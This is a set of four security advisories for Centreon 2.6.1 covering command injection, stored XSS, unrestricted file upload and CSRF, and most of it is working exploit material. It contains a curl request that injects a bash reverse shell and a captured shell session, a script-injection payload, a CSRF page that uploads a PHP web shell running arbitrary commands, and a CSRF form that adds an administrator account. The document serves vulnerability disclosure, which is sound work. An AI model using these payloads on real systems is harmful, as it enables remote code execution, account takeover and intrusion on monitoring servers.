Centreon 2.6.1 Command Injection Vulnerability Vendor: Centreon Product web page: https://www.centreon.com Affected version: 2.6.1 (CES 3.2) Summary: Centreon is the choice of some of the world's largest companies and mission-critical organizations for real-time IT performance monitoring and diagnostics management. Desc: The POST parameter 'persistant' which serves for making a new service run in the background is not properly sanitised before being used to execute commands. This can be exploited to inject and execute arbitrary shell commands as well as using cross-site request forgery attacks. Tested on: CentOS 6.6 (Final) Apache/2.2.15 PHP/5.3.3 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2015-5265 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5265.php 10.08.2015 -- <<<<<< root@zslab:~# curl -i -s -k -X 'POST' \ -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0' \ -H 'Content-Type: application/x-www-form-urlencoded' \ -b 'PHPSESSID=bk80lvka1v8sb9ltuivjngo520' \ --data-binary $'host_id=14&service_id=19&persistant=1%27%22%600%26%2fbin%2fbash+-i+%3e+%2fdev%2ftcp%2f127.0.0.1%2f6161+0%3c%261+2%3e%261%60%27&duration_scale=s&start=08%2f17%2f2018&start_time=8%3a16&end=09%2f17%2f2018&end_time=10%3a16&comment=pwned&submitA=Save&o=as' \ 'http://localhost.localdomain/centreon/main.php?p=20218' >>>>>> root@zslab:~# nc -4 -l -n 6161 -vv -D Connection from 127.0.0.1 port 6161 [tcp/*] accepted bash: no job control in this shell bash-4.1$ id id uid=48(apache) gid=48(apache) groups=48(apache),494(centreon-engine),496(centreon-broker),498(centreon),499(nagios) bash-4.1$ uname -a;cat /etc/issue uname -a;cat /etc/issue Linux localhost.localdomain 2.6.32-504.16.2.el6.x86_64 #1 SMP Wed Apr 22 06:48:29 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux Centreon Enterprise Server Kernel \r on an \m bash-4.1$ pwd pwd /usr/share/centreon/www bash-4.1$ exit exit exit root@zslab:~# ################################################################# Centreon 2.6.1 Stored Cross-Site Scripting Vulnerability Desc: Centreon suffers from a stored XSS vulnerability. Input passed thru the POST parameter 'img_comment' is not sanitized allowing the attacker to execute HTML code into user's browser session on the affected site. Tested on: CentOS 6.6 (Final) Apache/2.2.15 PHP/5.3.3 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2015-5266 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5266.php 10.08.2015 -- POST /centreon/main.php?p=50102 HTTP/1.1 Host: localhost.localdomain User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://localhost.localdomain/centreon/main.php?p=50102&o=a Cookie: PHPSESSID=qg580onenijim611sca8or3o32 Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------951909060822176775828135993 Content-Length: 1195 -----------------------------951909060822176775828135993 Content-Disposition: form-data; name="directories" upload -----------------------------951909060822176775828135993 Content-Disposition: form-data; name="list_dir" 0 -----------------------------951909060822176775828135993 Content-Disposition: form-data; name="filename"; filename="phpinfo.php" Content-Type: application/octet-stream <? phpinfo(); ?> -----------------------------951909060822176775828135993 Content-Disposition: form-data; name="img_comment" "><script>alert(1);</script> -----------------------------951909060822176775828135993 Content-Disposition: form-data; name="action[action]" 1 -----------------------------951909060822176775828135993 Content-Disposition: form-data; name="submitA" Save -----------------------------951909060822176775828135993 Content-Disposition: form-data; name="MAX_FILE_SIZE" 2097152 -----------------------------951909060822176775828135993 Content-Disposition: form-data; name="img_id" -----------------------------951909060822176775828135993 Content-Disposition: form-data; name="o" a -----------------------------951909060822176775828135993-- ################################################################# Centreon 2.6.1 Unrestricted File Upload Vulnerability Desc: The vulnerability is caused due to the improper verification of uploaded files via the 'filename' POST parameter. This can be exploited to execute arbitrary PHP code by uploading a malicious PHP script file that will be stored in the '/img/media/' directory. Tested on: CentOS 6.6 (Final) Apache/2.2.15 PHP/5.3.3 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2015-5264 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5264.php 10.08.2015 -- <html> <!-- Specified dir is 1337 and filename is shelly.php --> <!-- Ex: http://localhost.localdomain/centreon/img/media/1337/shelly.php?c=id --> <body> <script> function submitRequest() { var xhr = new XMLHttpRequest(); xhr.open("POST", "http://localhost.localdomain/centreon/main.php?p=50102", true); xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5"); xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------951909060822176775828135993"); xhr.withCredentials = true; var body = "-----------------------------951909060822176775828135993\r\n" + "Content-Disposition: form-data; name=\"directories\"\r\n" + "\r\n" + "1337\r\n" + "-----------------------------951909060822176775828135993\r\n" + "Content-Disposition: form-data; name=\"list_dir\"\r\n" + "\r\n" + "0\r\n" + "-----------------------------951909060822176775828135993\r\n" + "Content-Disposition: form-data; name=\"filename\"; filename=\"shelly.php\"\r\n" + "Content-Type: application/octet-stream\r\n" + "\r\n" + "\x3c?php\r\n" + "echo \"\x3cpre\x3e\";system($_GET[\'c\']);echo \"\x3c\/pre\x3e\";\r\n" + "?\x3e\r\n" + "-----------------------------951909060822176775828135993\r\n" + "Content-Disposition: form-data; name=\"img_comment\"\r\n" + "\r\n" + "peened\r\n" + "-----------------------------951909060822176775828135993\r\n" + "Content-Disposition: form-data; name=\"action[action]\"\r\n" + "\r\n" + "1\r\n" + "-----------------------------951909060822176775828135993\r\n" + "Content-Disposition: form-data; name=\"submitA\"\r\n" + "\r\n" + "Save\r\n" + "-----------------------------951909060822176775828135993\r\n" + "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n" + "\r\n" + "2097152\r\n" + "-----------------------------951909060822176775828135993\r\n" + "Content-Disposition: form-data; name=\"img_id\"\r\n" + "\r\n" + "\r\n" + "-----------------------------951909060822176775828135993\r\n" + "Content-Disposition: form-data; name=\"o\"\r\n" + "\r\n" + "a\r\n" + "-----------------------------951909060822176775828135993--"; var aBody = new Uint8Array(body.length); for (var i = 0; i < aBody.length; i++) aBody[i] = body.charCodeAt(i); xhr.send(new Blob([aBody])); } </script> <form action="#"> <input type="button" value="Submit request" onclick="submitRequest();" /> </form> </body> </html> ################################################################# Centreon 2.6.1 CSRF Add Admin Exploit Desc: The application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. Tested on: CentOS 6.6 (Final) Apache/2.2.15 PHP/5.3.3 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2015-5263 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5263.php 10.08.2015 -- <html> <body> <form action="'http://localhost.localdomain/centreon/main.php?p=60301" method="POST"> <input type="hidden" name="contact_alias" value="Testingus" /> <input type="hidden" name="contact_name" value="Fullio" /> <input type="hidden" name="contact_email" value="test@test.tld" /> <input type="hidden" name="contact_pager" value="" /> <input type="hidden" name="contact_template_id" value="" /> <input type="hidden" name="contact_enable_notifications[contact_enable_notifications]" value="2" /> <input type="hidden" name="timeperiod_tp_id" value="" /> <input type="hidden" name="timeperiod_tp_id2" value="" /> <input type="hidden" name="contact_oreon[contact_oreon]" value="1" /> <input type="hidden" name="contact_passwd" value="123123" /> <input type="hidden" name="contact_passwd2" value="123123" /> <input type="hidden" name="contact_lang" value="en_US" /> <input type="hidden" name="contact_admin[contact_admin]" value="1" /> <input type="hidden" name="contact_autologin_key" value="" /> <input type="hidden" name="contact_auth_type" value="local" /> <input type="hidden" name="contact_acl_groups[]" value="31" /> <input type="hidden" name="contact_acl_groups[]" value="32" /> <input type="hidden" name="contact_acl_groups[]" value="34" /> <input type="hidden" name="contact_address1" value="Neverland" /> <input type="hidden" name="contact_address2" value="" /> <input type="hidden" name="contact_address3" value="101" /> <input type="hidden" name="contact_address4" value="" /> <input type="hidden" name="contact_address5" value="" /> <input type="hidden" name="contact_address6" value="" /> <input type="hidden" name="contact_activate[contact_activate]" value="1" /> <input type="hidden" name="contact_comment" value="comment-vuln-xss-t00t" /> <input type="hidden" name="action[action]" value="1" /> <input type="hidden" name="submitA" value="Save" /> <input type="hidden" name="contact_register" value="1" /> <input type="hidden" name="contact_id" value="" /> <input type="hidden" name="o" value="a" /> <input type="hidden" name="initialValues" value="a:0:{}" /> <input type="submit" value="Submit request" /> </form> </body> </html>
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